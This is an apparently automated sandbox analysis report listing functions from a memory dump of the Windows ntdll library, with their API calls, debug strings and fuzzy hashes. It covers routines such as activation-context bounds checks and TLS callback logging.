0x6b493269
0x6b49326b
0x6b49326d
0x6b49327e
0x6b493281
0x6b493284
0x6b493289
0x6b49328e
0x00000000
0x6b493294
0x6b493294
0x6b493299
0x00000000
0x6b4932a8
0x6b4932a8
0x6b4932ab
0x6b4932b1
0x6b4dd934
0x6b4dd938
0x6b4dd93e
0x6b4dd941
0x6b4dd949
0x6b4dd94a
0x6b4dd94f
0x00000000
0x00000000
0x6b4dd951
0x00000000
0x6b4dd94f
0x00000000
0x6b4dd941
0x00000000
0x6b4932b7
0x6b4932b7
0x6b4932b9
0x6b4932be
0x00000000
0x6b4932c0
0x6b4932c3
0x6b4dd920
0x6b4dd924
0x00000000
0x6b4dd92a
0x6b4dd92d
0x00000000
0x6b4dd92d
0x6b4932c9
0x6b4932d5
0x6b4932d9
0x6b4932de
0x6b4932e1
0x6b4932e1
0x6b4932e3
0x6b4932e5
0x00000000
0x6b4932e7
0x6b4932e7
0x6b4932ec
0x00000000
0x6b4932ee
0x6b4932ee
0x6b4932f1
0x6b4932f7
0x6b493344
0x6b493344
0x6b493345
0x6b493346
0x6b493347
0x6b4dd97e
0x6b4dd97e
0x6b4dd980
0x6b4dd982
0x00000000
0x6b4932f9
0x6b4932f9
0x6b4932fe
0x00000000
0x6b493308
0x6b49330d
0x6b493315
0x6b493317
0x6b493317
0x6b4932fe
0x00000000
0x6b4932f7
0x6b4932ec
0x6b4932e5
0x6b4932c3
0x6b4932be
0x6b4932b1
0x6b493299
0x6b4dd956
0x6b4dd956
0x6b4dd959
0x6b4dd959
0x6b4dd95c
0x6b4dd95c
0x6b4dd95d
0x6b4dd95f
0x6b4dd96a
0x6b4dd98a
0x6b4dd98a
0x6b49331c
0x6b493329
0x6b493329
0x6b49326d
0x6b493256
0x6b49324b
0x6b493240
0x6b493235
0x00000000

APIs

bsearch.1105(00000001,?,00000020,00000010,6B4A8C30,00000010,?,C00000E5,00000000,00000030,?,6B478D70,00000000,?,?,00000030), ref: 6B4932D9
DbgPrintEx.1105(00000033,00000000,SXS/RTL: Extended TOC offset (%ld) is outside bounds of activation context data (%lu bytes),?,?,00000010,?,C00000E5,00000000,00000030,?,6B478D70,00000000,?,?,00000030), ref: 6B4DD850
DbgPrintEx.1105(00000033,00000000,SXS/RTL: TOC entry array (offset: %ld; count = %lu; entry size = %u) is outside bounds of activation context data (%lu bytes),?,00000020,00000010,00000030,00000010,?,C00000E5,00000000,00000030,?,6B478D70,00000000,?), ref: 6B4DD96A
DbgPrintEx.1105(00000033,00000000,SXS/RTL: Activation context data at %p too small; TotalSize = %lu; HeaderSize = %lu,00000001,?,?,C00000E5,00000000,00000030,?,6B478D70,00000000,?,?,00000030,?), ref: 6B4DD982

Strings

SXS/RTL: Section found (offset %ld; length %lu) extends past end of activation context data (%lu bytes), xrefs: 6B493347
SXS/RTL: TOC entry array (offset: %ld; count = %lu; entry size = %u) is outside bounds of activation context data (%lu bytes), xrefs: 6B4DD961
SXS/RTL: Extended TOC section TOC %d (offset: %ld, size: %u) is outside activation context data bounds (%lu bytes), xrefs: 6B4DD90D
SXS/RTL: Activation context data at %p too small; TotalSize = %lu; HeaderSize = %lu, xrefs: 6B4DD979
SXS/RTL: Extended TOC offset (%ld) is outside bounds of activation context data (%lu bytes), xrefs: 6B4DD847
SXS/RTL: Extended TOC entry array (starting at offset %ld; count = %lu; entry size = %u) is outside bounds of activation context data (%lu bytes), xrefs: 6B4DD884

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: Print$bsearch
String ID: SXS/RTL: Activation context data at %p too small; TotalSize = %lu; HeaderSize = %lu$SXS/RTL: Extended TOC entry array (starting at offset %ld; count = %lu; entry size = %u) is outside bounds of activation context data (%lu bytes)$SXS/RTL: Extended TOC offset (%ld) is outside bounds of activation context data (%lu bytes)$SXS/RTL: Extended TOC section TOC %d (offset: %ld, size: %u) is outside activation context data bounds (%lu bytes)$SXS/RTL: Section found (offset %ld; length %lu) extends past end of activation context data (%lu bytes)$SXS/RTL: TOC entry array (offset: %ld; count = %lu; entry size = %u) is outside bounds of activation context data (%lu bytes)
API String ID: 3813682011-732641482
Opcode ID: 4e4ed22a3d1da74055cc1ee476eaf219165ee9d20582eb891d84cd7c4cc3cf91
Instruction ID: 0463d11cb38d090239015622008d347ba948238686218a8ff1823a05c5967180
Opcode Fuzzy Hash: 4e4ed22a3d1da74055cc1ee476eaf219165ee9d20582eb891d84cd7c4cc3cf91
Instruction Fuzzy Hash: 3181F870E40209AFEB20DFA8D8D1F9EB7B5EB49744F104169E919A7341DB79AC41CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 6B476D10, Relevance: 21.3, APIs: 14, Instructions: 316stringCOMMON

Download Yara Rule

APIs

__isascii.1105(?,?,?,00000000,?,00000000,?,00000000), ref: 6B476D5C
isdigit.1105(?,?,?,00000000,?,00000000,?,00000000), ref: 6B476D67
__isascii.1105(?,?,?,00000000,?,00000000,?,00000000), ref: 6B476D76
isxdigit.1105(?,?,?,00000000,?,00000000,?,00000000), ref: 6B476D81
__isascii.1105(00000000,?,?,00000000,?,00000000,?,00000000), ref: 6B476DD4
isdigit.1105(00000000,?,?,00000000,?,00000000,?,00000000), ref: 6B476DDF
__isascii.1105(00000000,?,?,00000000,?,00000000,?,00000000), ref: 6B476DEA
isxdigit.1105(00000000,?,?,00000000,?,00000000,?,00000000), ref: 6B476DF5
strtol.1105(?,00000000,00000010,?,?,00000000,?,00000000,?,00000000), ref: 6B4D1F53

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: __isascii$isdigitisxdigit$strtol
String ID:
API String ID: 2731936382-0
Opcode ID: ce4017a68cac62f16c561abc348bc20d924df1deea31378d96b57986fe07fbb5
Instruction ID: a58268e97a201bc2bd9e4bba2979d39bdecb388bca232fc53050f038a3905dc6
Opcode Fuzzy Hash: ce4017a68cac62f16c561abc348bc20d924df1deea31378d96b57986fe07fbb5
Instruction Fuzzy Hash: 5AB1B175E5421AABDB24DF68C890FEEBBB6AF46304F1040B9D944AB341D7389A41CBD1

Uniqueness

Uniqueness Score: -1.00%

Function 6B474360, Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 144COMMON

Download Yara Rule

APIs

DbgPrintEx.1105(00000033,00000000,SXS: %s() called with invalid flags 0x%08lx,RtlDeactivateActivationContext,FFFFFFFE), ref: 6B4D0748
DbgPrintEx.1105(00000033,00000000,SXS: %s() called with invalid cookie tid 0x%08Ix - should be %08Ix,RtlDeactivateActivationContext,?,?), ref: 6B4D0767
RtlRaiseStatus.1105(C000000D), ref: 6B4D077B
RtlRaiseException.1105(?,?,?), ref: 6B4D07F3
RtlReleaseActivationContext.1105(?), ref: 6B4D0800

Strings

SXS: %s() called with invalid cookie type 0x%08Ix, xrefs: 6B4D073F
SXS: %s() called with invalid cookie tid 0x%08Ix - should be %08Ix, xrefs: 6B4D075E
RtlDeactivateActivationContext, xrefs: 6B4D072D, 6B4D073A, 6B4D0759
SXS: %s() called with invalid flags 0x%08lx, xrefs: 6B4D0732

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: PrintRaise$ActivationContextExceptionReleaseStatus
String ID: RtlDeactivateActivationContext$SXS: %s() called with invalid cookie tid 0x%08Ix - should be %08Ix$SXS: %s() called with invalid cookie type 0x%08Ix$SXS: %s() called with invalid flags 0x%08lx
API String ID: 1148088771-1245972979
Opcode ID: ff4c02ab64ea761253561f9e83c6b318617c27d56e509327c6b67e6854226c40
Instruction ID: dc37adfb5ef74df5a04c4f8536173e5dacd67ca7b64eb922e732e547814c2587
Opcode Fuzzy Hash: ff4c02ab64ea761253561f9e83c6b318617c27d56e509327c6b67e6854226c40
Instruction Fuzzy Hash: C341D535654A019BD715CF29C8A1F6A73A1EB81B94F11456DF4A59F340DB3CE8018FA1

Uniqueness

Uniqueness Score: -1.00%

Function 6B4B5969, Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 101COMMON

Download Yara Rule

APIs

memset.1105(?,00000000,0000002C,?,00000000,?,?,?,6B49291C), ref: 6B4B59BE
RtlAssert.1105(Internal error check failed,minkernel\ntdll\sxsisol.cpp,0000020C,This != NULL,?,00000000,?,?,?,6B49291C), ref: 6B4EF9B3
RtlAssert.1105(Internal error check failed,minkernel\ntdll\sxsisol.cpp,00000219,rUS.Length <= This->PrivatePreallocatedString->MaximumLength,?,00000000,?,?,?,6B49291C), ref: 6B4EF9E2

Strings

(This->PrivateDynamicallyAllocatedString == NULL) || (This->PrivateDynamicallyAllocatedString->Buffer == NULL), xrefs: 6B4EF9C2
minkernel\ntdll\sxsisol.cpp, xrefs: 6B4EF9A9, 6B4EF9D8
Internal error check failed, xrefs: 6B4EF9AE, 6B4EF9DD
This != NULL, xrefs: 6B4EF99F
rUS.Length <= This->PrivatePreallocatedString->MaximumLength, xrefs: 6B4EF9CE

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: Assert$memset
String ID: (This->PrivateDynamicallyAllocatedString == NULL) || (This->PrivateDynamicallyAllocatedString->Buffer == NULL)$Internal error check failed$This != NULL$minkernel\ntdll\sxsisol.cpp$rUS.Length <= This->PrivatePreallocatedString->MaximumLength
API String ID: 2494167153-3589341846
Opcode ID: 0cbbc715261a6423d612ff611b92909681e13c656448b3fc0e37206b0826b03a
Instruction ID: d6732f90fdd6782fa0f27c381b09fb274de79a2c94e0e1a018416744a5e3cc4f
Opcode Fuzzy Hash: 0cbbc715261a6423d612ff611b92909681e13c656448b3fc0e37206b0826b03a
Instruction Fuzzy Hash: 4D31A174642741ABE324CF29E450E26B3F0AF44719B10895EE59ADBB40E778E842C774

Uniqueness

Uniqueness Score: -1.00%

Function 6B4B19F0, Relevance: 15.8, APIs: 1, Strings: 8, Instructions: 42COMMON

Download Yara Rule

APIs

RtlInitUnicodeString.1105(?,\System32\,?,6B4B19C0,?,?,\SysWOW64,02140000,00000000,?,?), ref: 6B4B1A15

Strings

SysARM32, xrefs: 6B4ED358
\SyCHPE32\, xrefs: 6B4ED336
\SysARM32\, xrefs: 6B4ED34E
SysWOW64, xrefs: 6B4B1A0C
\SysWOW64\, xrefs: 6B4B1A30
\System32\, xrefs: 6B4B1A20
SyCHPE32, xrefs: 6B4ED340
System32, xrefs: 6B4B1A11, 6B4B1A29

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: InitStringUnicode
String ID: SyCHPE32$SysARM32$SysWOW64$System32$\SyCHPE32\$\SysARM32\$\SysWOW64\$\System32\
API String ID: 4228678080-2516413534
Opcode ID: f3914de448cc72c346afb5c17cd866bb00627f33e767a5040a68a061407552af
Instruction ID: 4b337e2db25b2d6e8eb74363fe27157a01a10c189c74e0ea9dc23346d4aba40f
Opcode Fuzzy Hash: f3914de448cc72c346afb5c17cd866bb00627f33e767a5040a68a061407552af
Instruction Fuzzy Hash: A1F05B65AE8264D69730467C2A41F263E064F4B7D5F0001A2BF50DF719E12FED7B42B2

Uniqueness

Uniqueness Score: -1.00%

Function 6B470BD0, Relevance: 15.3, APIs: 10, Instructions: 272COMMON

Download Yara Rule

APIs

iswctype.1105(?,00000004,00000000,?,00000000,?,?,00000000,00000000), ref: 6B470C26
iswctype.1105(?,00000080,?,00000000,?,?,00000000,00000000), ref: 6B470C3C
iswctype.1105(?,00000004,00000000,?,00000000,?,?,00000000,00000000), ref: 6B470CBA
iswctype.1105(?,00000080,?,00000000,?,?,00000000,00000000), ref: 6B470CD0
wcstol.1105(?,00000000,00000010,00000000,?,00000000), ref: 6B4CE88C

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: iswctype$wcstol
String ID:
API String ID: 3196148086-0
Opcode ID: e8cce5817cc4ce449349599480dfbb7a9bb6f94171a4a7226f78549168923cd8
Instruction ID: a0928047fb9936fbb0f2c9d649441b9a640e473f403b6bf18effe03ce6120e6e
Opcode Fuzzy Hash: e8cce5817cc4ce449349599480dfbb7a9bb6f94171a4a7226f78549168923cd8
Instruction Fuzzy Hash: 2491AF79D452169BDB289F98C889FDFB7B1FF41704F1080BAD85467340E33AAA45CB92

Uniqueness

Uniqueness Score: -1.00%

Function 6B4771D0, Relevance: 13.7, APIs: 9, Instructions: 162COMMON

Download Yara Rule

APIs

RtlIpv4StringToAddressA.1105(00000000,?,00000000,00000000), ref: 6B4771FB

Part of subcall function 6B477220: __isascii.1105(0000000A,?), ref: 6B477275
Part of subcall function 6B477220: isdigit.1105(00000000,?), ref: 6B477283

__isascii.1105(?,00000000,?,00000000,00000000), ref: 6B4D233F
isdigit.1105(?,00000000,?,00000000,00000000), ref: 6B4D234A

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: __isasciiisdigit$AddressIpv4String
String ID:
API String ID: 960699662-0
Opcode ID: d1e8079f3b444f1ff0fe202882e6dd36213e97e5e6d2fb41066c33beb2a1206c
Instruction ID: fb5829e22a13a1a1206ec15ef6fa552530dd1f7894bb5e7330b4269bb33bfa13
Opcode Fuzzy Hash: d1e8079f3b444f1ff0fe202882e6dd36213e97e5e6d2fb41066c33beb2a1206c
Instruction Fuzzy Hash: 7041493594821696EB119E34D861FFE77B4DF42724F6445BAE8A0A72C0DF3CC582D3A1

Uniqueness

Uniqueness Score: -1.00%

Function 6B5046A4, Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 206COMMON

Download Yara Rule

APIs

DbgPrintEx.1105(00000033,00000000,SXS: %s() received invalid sub-instance index %lu out of %lu Assemblies in the Acitvation Context,RtlpQueryFilesInAssemblyInformationActivationContextDetailedInformation,?,?,6B4C17F0,00000000,?,00000000,?), ref: 6B5046ED

Part of subcall function 6B4A1D47: memset.1105(00000000,00000000,6B4C17F0,?,00000001,00000000,?,6B478D70,00000000,?,?,00000030,?,?,00000001,?), ref: 6B4A1D87

DbgPrintEx.1105(00000033,00000000,SXS: %s() received invalid file index (%u, max is %u) in Assembly (%u),RtlpQueryFilesInAssemblyInformationActivationContextDetailedInformation,00000000,?,6B54FE98,00000001,?,C00000E5,00000058,?,?,00000002,-00000F38,00000000), ref: 6B50474E
memcpy.1105(00000015,?,00000000,00000001,?,C00000E5,00000058,?,?,00000002,-00000F38,00000000,6B4C17F0,00000000,?,00000000), ref: 6B504831
memcpy.1105(00000015,?,-00000F38,00000001,?,C00000E5,00000058,?,?,00000002,-00000F38,00000000,6B4C17F0,00000000,?,00000000), ref: 6B5048A2

Strings

RtlpQueryFilesInAssemblyInformationActivationContextDetailedInformation, xrefs: 6B5046E0, 6B504741
SXS: %s() received invalid sub-instance index %lu out of %lu Assemblies in the Acitvation Context, xrefs: 6B5046E5
SXS: %s() received invalid file index (%u, max is %u) in Assembly (%u), xrefs: 6B504746

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: Printmemcpy$memset
String ID: RtlpQueryFilesInAssemblyInformationActivationContextDetailedInformation$SXS: %s() received invalid file index (%u, max is %u) in Assembly (%u)$SXS: %s() received invalid sub-instance index %lu out of %lu Assemblies in the Acitvation Context
API String ID: 3998808364-2744866428
Opcode ID: be8957c1fe59665c0d3ef7e3f7ba914c184e5a30f6abe926880e4b31c0584c75
Instruction ID: 394675dc223acbdbe826e54c93283aa8bbaaba254a4063ad8afa21f496065049
Opcode Fuzzy Hash: be8957c1fe59665c0d3ef7e3f7ba914c184e5a30f6abe926880e4b31c0584c75
Instruction Fuzzy Hash: 41814C75E0021ADFEB00CF98C8C1EAEB7B5FF59304B148599E914AB305D774EA52CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6B504496, Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 195COMMON

Download Yara Rule

APIs

DbgPrintEx.1105(00000033,00000000,SXS: %s() received invalid sub-instance index %lu out of %lu Assemblies in the Acitvation Context,RtlpQueryAssemblyInformationActivationContextDetailedInformation,?,?,6B4C17F0,00000000,?,?), ref: 6B5044DB

Part of subcall function 6B4A1D47: memset.1105(00000000,00000000,6B4C17F0,?,00000001,00000000,?,6B478D70,00000000,?,?,00000030,?,?,00000001,?), ref: 6B4A1D87

memcpy.1105(00000059,-00000F38,FFFFFF98,00000001,C00000E5,?,00000058,?,00000000,00000001,-00000F38,?,6B4C17F0,00000000,?,?), ref: 6B5045F6
memcpy.1105(00000059,-00000F38,00000000,00000001,C00000E5,?,00000058,?,00000000,00000001,-00000F38,?,6B4C17F0,00000000,?,?), ref: 6B504620
memcpy.1105(00000059,-00000F38,FFFFFFC4,00000001,C00000E5,?,00000058,?,00000000,00000001,-00000F38,?,6B4C17F0,00000000,?,?), ref: 6B50464A
memcpy.1105(00000059,-00000F38,FFFFFECC,00000001,C00000E5,?,00000058,?,00000000,00000001,-00000F38,?,6B4C17F0,00000000,?,?), ref: 6B504674

Strings

SXS: %s() received invalid sub-instance index %lu out of %lu Assemblies in the Acitvation Context, xrefs: 6B5044D3
RtlpQueryAssemblyInformationActivationContextDetailedInformation, xrefs: 6B5044CE

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: memcpy$Printmemset
String ID: RtlpQueryAssemblyInformationActivationContextDetailedInformation$SXS: %s() received invalid sub-instance index %lu out of %lu Assemblies in the Acitvation Context
API String ID: 3378804984-1390252366
Opcode ID: eb6f835818ce05ed47674b181b5908f3d8cb6703c051102c839498b8676863d9
Instruction ID: a05d85cdd7ab37a40941dad78e7aebb7bc52734bc93dee19e06ffb53c607f340
Opcode Fuzzy Hash: eb6f835818ce05ed47674b181b5908f3d8cb6703c051102c839498b8676863d9
Instruction Fuzzy Hash: CF8118B5A00606EFD750CF29C880A9AB7F4FF18318B1545A9E908DB701E735F9A2CF94

Uniqueness

Uniqueness Score: -1.00%

Function 6B4742EB, Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 90stringCOMMON

Download Yara Rule

APIs

RtlImageNtHeaderEx.1105(00000003,?,00000000,00000000,?,?,?,00000000,?,?,?,6B474176,00000003,?,00000000,00000000), ref: 6B474303
_strnicmp.1105(?,secserv.dll,0000000C,00000003,?,00000000,00000000,?,?,?,00000000,?,?,?,6B474176,00000003), ref: 6B474340
strncmp.1105(?,.txt,00000005), ref: 6B4D06DD
strncmp.1105(?,.txt2,00000006), ref: 6B4D06F7

Strings

secserv.dll, xrefs: 6B47433A
.txt, xrefs: 6B4D06D7
.txt2, xrefs: 6B4D06F1

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: strncmp$HeaderImage_strnicmp
String ID: .txt$.txt2$secserv.dll
API String ID: 290936131-436433099
Opcode ID: f989d9ba14ae8bda76e8f69c9f06e4620da2b990c06957f84f54b97aa2794c9c
Instruction ID: 0b4250e4ae3f8d576d4524f7fba536632bba97a5760dea87c028322d309ad11d
Opcode Fuzzy Hash: f989d9ba14ae8bda76e8f69c9f06e4620da2b990c06957f84f54b97aa2794c9c
Instruction Fuzzy Hash: 6A21B471A4061AA7DB14DF6588A0EAFB7B9EB40788F104178E5099B341F338A955DBE0

Uniqueness

Uniqueness Score: -1.00%

Function 6B4741F7, Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 77stringCOMMON

Download Yara Rule

APIs

RtlImageNtHeaderEx.1105(00000003,?,00000000,00000000,?,?,?,00000000), ref: 6B474214
strncmp.1105(?,.aspack,00000008,00000003,?,00000000,00000000,?,?,?,00000000), ref: 6B474249
strncmp.1105(?,.pcle,00000006,?,?,00000000), ref: 6B474261
strncmp.1105(?,.sforce,00000008,?,?,?,?,?,00000000), ref: 6B474279

Strings

.sforce, xrefs: 6B474273
.aspack, xrefs: 6B474243
.pcle, xrefs: 6B47425B

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: strncmp$HeaderImage
String ID: .aspack$.pcle$.sforce
API String ID: 3137002299-3067156003
Opcode ID: 0c5e840d09934486f95ea8468e047852019d22ee3f2a2b2f628c240a712a25ec
Instruction ID: 0c3bec551298b9513ee89062523ca00365714b8e302b22d4dfebbaf32c247f2c
Opcode Fuzzy Hash: 0c5e840d09934486f95ea8468e047852019d22ee3f2a2b2f628c240a712a25ec
Instruction Fuzzy Hash: BD212931A002006BEB209F65DC81FEFB3A99F447D8F008064ED44A7345E738D9A5CAE6

Uniqueness

Uniqueness Score: -1.00%

Function 6B480C30, Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 77COMMON

Download Yara Rule

APIs

RtlAcquireSRWLockShared.1105(6B568550,?,?,00000000,000000FF,6B54F868,00000038,6B47F563), ref: 6B480C6F
RtlReleaseSRWLockShared.1105(6B568550,6B568550,?,?,00000000,000000FF,6B54F868,00000038,6B47F563), ref: 6B480C98

Strings

hSVk, xrefs: 6B480C7A
minkernel\ntdll\ldrtls.c, xrefs: 6B4D643D
Calling TLS callback %p for DLL "%wZ" at %p, xrefs: 6B4D642C
hSVk, xrefs: 6B480C89
LdrpCallTlsInitializers, xrefs: 6B4D6433

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: LockShared$AcquireRelease
String ID: Calling TLS callback %p for DLL "%wZ" at %p$LdrpCallTlsInitializers$hSVk$hSVk$minkernel\ntdll\ldrtls.c
API String ID: 2614130328-941610409
Opcode ID: c078641c4dc915f6031d44bf347a7526fb86c6b3209659efbda325f31718288c
Instruction ID: 53c4e916490c5cae22fa65e16f0e9368397d77262e4c97212e41da3810ea960b
Opcode Fuzzy Hash: c078641c4dc915f6031d44bf347a7526fb86c6b3209659efbda325f31718288c
Instruction Fuzzy Hash: 5521D672D55B58ABDB14CF58C841F9ABBB4FB09B58F11066EED1423350E33CE84486E1

Uniqueness

Uniqueness Score: -1.00%

Function 6B48EC7F, Relevance: 12.3, APIs: 8, Instructions: 256memoryCOMMON

Download Yara Rule

APIs

RtlAcquireSRWLockExclusive.1105(6B5684D8,6B4C17F0,00000000,?,6B49F715,6B49F5C0,?,?,?,00000001,-00000F38), ref: 6B48ECAD
RtlReleaseSRWLockExclusive.1105(6B5684D8,6B5684D8,6B4C17F0,00000000,?,6B49F715,6B49F5C0,?,?,?,00000001,-00000F38), ref: 6B48ECD2
RtlFreeHeap.1105(00000000,?,6B5684D8,6B5684D8,6B4C17F0,00000000,?,6B49F715,6B49F5C0,?,?,?,00000001,-00000F38), ref: 6B48ED04
RtlReleaseActivationContext.1105(-00000F38,6B5684D8,6B5684D8,6B4C17F0,00000000,?,6B49F715,6B49F5C0,?,?,?,00000001,-00000F38), ref: 6B48ED28
_wcsicmp.1105(6B54FE98,?,6B54FB78,00000030,6B5684D8,6B4C17F0,00000000,?,6B49F715,6B49F5C0,?,?,?,00000001,-00000F38), ref: 6B48EE13
_wcsicmp.1105(6B54FE98,?,6B54FB78,00000030,6B5684D8,6B4C17F0,00000000,?,6B49F715,6B49F5C0,?,?,?,00000001,-00000F38), ref: 6B48EE74
RtlFreeHeap.1105(00000000,?,6B4C17F0,6B49F715,6B49F5C0,?,?,?,00000001,-00000F38), ref: 6B4AC28C

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveFreeHeapLockRelease_wcsicmp$AcquireActivationContext
String ID:
API String ID: 176173115-0
Opcode ID: 88abae1c701fccf91adbba84cfe2f8a480f41b233ca7da1097a144c866ef034e
Instruction ID: d3b63d4fc045205602695c6e389b7e6c0013545c6ae2ef425f6f22237cd572c5
Opcode Fuzzy Hash: 88abae1c701fccf91adbba84cfe2f8a480f41b233ca7da1097a144c866ef034e
Instruction Fuzzy Hash: 9181F330E942068FCB14CF6DD890E9AB7F2BF85718F14856EE555AB354E738E842CB90

Uniqueness

Uniqueness Score: -1.00%

Function 6B477220, Relevance: 12.2, APIs: 8, Instructions: 230COMMON

Download Yara Rule

APIs

__isascii.1105(0000000A,?), ref: 6B477275
isdigit.1105(00000000,?), ref: 6B477283
__isascii.1105(0000000A,?), ref: 6B4D2467
isdigit.1105(00000000,?), ref: 6B4D2475

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: __isasciiisdigit
String ID:
API String ID: 2481201981-0
Opcode ID: 0b62a42bf01b7f1807f1dfa39952a2575a9f866cf2d9fc3abce94d25b2ed59d1
Instruction ID: 693656b3d2f7c1428c533ae0f4778aa410add620bb7d440a311599dff156cce2
Opcode Fuzzy Hash: 0b62a42bf01b7f1807f1dfa39952a2575a9f866cf2d9fc3abce94d25b2ed59d1
